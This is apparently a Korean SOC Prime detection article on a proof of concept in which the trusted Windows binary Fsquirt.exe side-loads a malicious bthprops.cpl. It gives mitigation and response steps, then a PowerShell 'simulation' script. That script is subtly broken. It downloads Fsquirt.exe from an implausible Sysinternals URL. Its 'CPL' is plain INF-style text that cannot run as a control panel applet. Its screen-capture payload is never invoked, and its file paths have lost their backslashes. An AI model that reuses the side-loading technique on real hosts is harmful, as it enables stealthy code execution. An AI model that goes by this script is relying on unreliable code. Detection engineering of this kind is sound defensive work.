SOC Prime Bias: 중간

13 1월 2026 17:06

Fsquirt.exe 익스플로잇: 블루투스를 통한 악성 bthprops.cpl 로딩

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
Fsquirt.exe 익스플로잇: 블루투스를 통한 악성 bthprops.cpl 로딩
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 글은 정당한 Windows 바이너리 Fsquirt.exe가 현재 작업 디렉터리에서 악성 제어판 애플릿(bthprops.cpl)을 로드하도록 강제하는 개념 증명을 제시합니다. 악성 CPL이 존재하면 Fsquirt.exe가 이를 로드하고 공격자가 제어하는 코드를 실행합니다. 이는 DLL의 DllMain 진입점에서 메시지 박스를 트리거하여 예시됩니다. 이 예시는 공격자가 정교하게 제작된 CPL을 합법적인 실행 파일 옆에 배치할 수 있을 때, 신뢰할 수 있는 바이너리를 어떻게 자유롭게 코드 실행에 악용할 수 있는지를 강조합니다.

조사

연구자들은 악성 bthprops.cpl의 소스 코드 및 이를 컴파일하기 위한 빌드 스크립트가 포함된 저장소를 발표했습니다. Fsquirt.exe가 동일한 디렉토리에 있을 때 이를 검색하고 로드하도록 CPL이 설계되었습니다. 성공적인 실행은 CPL이 메시지 박스를 표시하여 신뢰할 수 있는 바이너리가 공격자가 공급한 애플릿의 코드를 로드하고 실행했음을 확인할 때 검증됩니다. PoC는 최소한의 네트워크 텔레메트리를 남기는, 고전적인 LOLBin 스타일의 남용 사례로 위치하고 있습니다.

완화

승인된 CPL 파일만 예상 시스템 위치에서 실행될 수 있도록 응용 프로그램 허용 목록을 사용하고, Fsquirt.exe와 같은 바이너리가 비표준 디렉토리에서 실행되지 않도록 실행 경로를 제한하세요. Fsquirt.exe가 신뢰할 수 있는 시스템 폴더 외부에서 제어판 애플릿을 로드하려는 시도를 모니터링하고 사용자 쓰기 가능 경로에서의 의심스러운 실행을 차단하세요. 일반적인 Windows 실행 파일에서 발생하는 비정상적인 DllMain 시작 동작 및 대화형 UI 결과(예: 메시지 박스 호출)에 대한 엔드포인트 감지를 추가하세요. 특히 사용자가 쓰거나 응용 프로그램이 쓸 수 있는 디렉토리에서 예상치 못한 .cpl 파일을 주기적으로 감사하세요.

대응

Fsquirt.exe가 비표준 bthprops.cpl을 로드하거나 예상치 못한 경로에서 CPL이 실행 중일 때 즉시 경고를 발령하세요. 호스트를 격리하고 악성 CPL 및 관련 실행 텔레메트리를 보존하며 디스크와 메모리 전반에 걸쳐 완전한 악성 코드를 분석하세요. 악성 CPL을 제거하고 이전하거나 함께 배포된 지속성 메커니즘이나 후속 도구를 검토하세요. 마지막으로 유사한 LOLBin 실행 패턴을 환경 전체에서 사냥하고 신뢰할 수 있는 바이너리 사이드 로딩에 대한 정책 제어를 강화하여 노출을 줄이세요.

공격 흐름

이 부분을 계속 업데이트 중입니다. 알림을 받으려면 등록하세요

알림 받기

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준선 체크를 통과해야 합니다.

  • 공격 서사 및 명령:

    적은 처음에 악성 bthprops.cpl (스크린을 캡처하는 페이로드를 실행하도록 제작된)를 Fsquirt.exe와 동일한 디렉토리에 배치합니다. 인수와 함께 Fsquirt.exe를 호출하면 bthprops.cpl, Windows는 CPL을 제어판 애플릿으로 취급하고 이를 로드하여 포함된 악성 코드를 실행합니다. 이는 프로세스 생성 이벤트를 생성하고 여기서 CommandLine 은 정확히 bthprops.cpl문자열을 포함하여 Sigma 규칙을 충족시킵니다.

  • 회귀 테스트 스크립트:

    # -------------------------------------------------------------
    #  Fsquirt CPL 로드 – 악성 시뮬레이션
    #  전제 조건: Sysmon 및 보안 감사 활성화됨 (사전 검사 참조)
    # -------------------------------------------------------------
    $workDir   = "C:TempFsquirtTest"
    $fsquirt   = "$workDirFsquirt.exe"
    $cpl       = "$workDirbthprops.cpl"
    $payload   = "$workDirCaptureScreen.ps1"
    
    # 1. 작업 디렉토리 준비
    New-Item -Path $workDir -ItemType Directory -Force | Out-Null
    
    # 2. 알려진 Fsquirt 바이너리 다운로드 (공용으로 사용 가능)
    Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Fsquirt.exe" -OutFile $fsquirt
    
    # 3. 악성 CPL 생성 (스텁) – 데모에서는 간단한 스크립틀렛 사용
    #    실제 테스트에서 페이로드를 실행하는 C++ CPL을 컴파일하세요.
    $cplContent = @"
    [Version]
    Signature="$Windows NT$"
    [Control PanelDesktop]
    "@
    Set-Content -Path $cpl -Value $cplContent -Encoding ASCII
    
    # 4. 더미 페이로드 생성 (예: 스크린샷 찍기)
    $payloadContent = @"
    Add-Type -AssemblyName System.Windows.Forms
    Add-Type -AssemblyName System.Drawing
    $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
    $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $graphics = [System.Drawing.Graphics]::FromImage($bitmap)
    $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
    $bitmap.Save('$workDirscreenshot.png')
    "@
    Set-Content -Path $payload -Value $payloadContent -Encoding UTF8
    
    # 5. 악성 CPL을 로드하여 Fsquirt.exe 실행
    Write-Host "악성 CPL과 함께 Fsquirt 실행 중..."
    Start-Process -FilePath $fsquirt -ArgumentList "bthprops.cpl" -WorkingDirectory $workDir -NoNewWindow -Wait
    
    # 6. 페이로드 실행 확인 (스크린샷 생성)
    if (Test-Path "$workDirscreenshot.png") {
        Write-Host "페이로드 실행 – 스크린샷 캡처됨."
    } else {
        Write-Host "페이로드가 실행되지 않았습니다."
    }
    # -------------------------------------------------------------
  • 정리 명령:

    # 테스트 아티팩트 제거
    $workDir = "C:TempFsquirtTest"
    if (Test-Path $workDir) {
        Remove-Item -Path $workDir -Recurse -Force
        Write-Host "정리 완료."
    } else {
        Write-Host "제거할 아티팩트가 없습니다."
    }